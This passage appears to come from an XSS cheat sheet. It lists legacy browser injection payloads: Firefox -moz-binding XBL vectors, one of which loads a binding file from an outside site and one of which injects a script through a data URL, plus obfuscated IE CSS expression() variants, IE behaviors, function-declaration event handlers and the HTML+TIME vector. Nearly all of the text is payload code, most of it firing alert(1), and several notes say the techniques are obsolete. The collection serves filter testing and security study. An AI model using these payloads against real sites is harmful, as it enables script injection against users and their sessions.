<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
```

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XBL also worked in FF3.5 using data urls

```
<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-
8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22
http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20
url%20%3D%20%22alert.js
%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyE
lement%20%3D%20
document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3
E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />
```

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CSS expressions <=IE7

```
<div style=xss:expression(alert(1))>
<div style=xss:expression(1)-alert(1)>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\006e(alert(1))>
<div style=xss:expressio\00006e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio&#x5c;6e(alert(1))>
```

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In quirks mode IE allowed you to use = instead of :

```
<div style=xss=expression(alert(1))>
<div style="color&#x3dred">test</div>
```

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Behaviors for older modes of IE

```
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>
```

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Older versions of IE supported event handlers in functions

```
<script>
function window.onload(){
alert(1);
}
</script>
<script>
function window::onload(){
alert(1);
}
</script>
<script>
function window.location(){
}
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>
```

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GreyMagic HTML+time exploit (no longer works even in 5 docmode)

```
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t"
implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>
```

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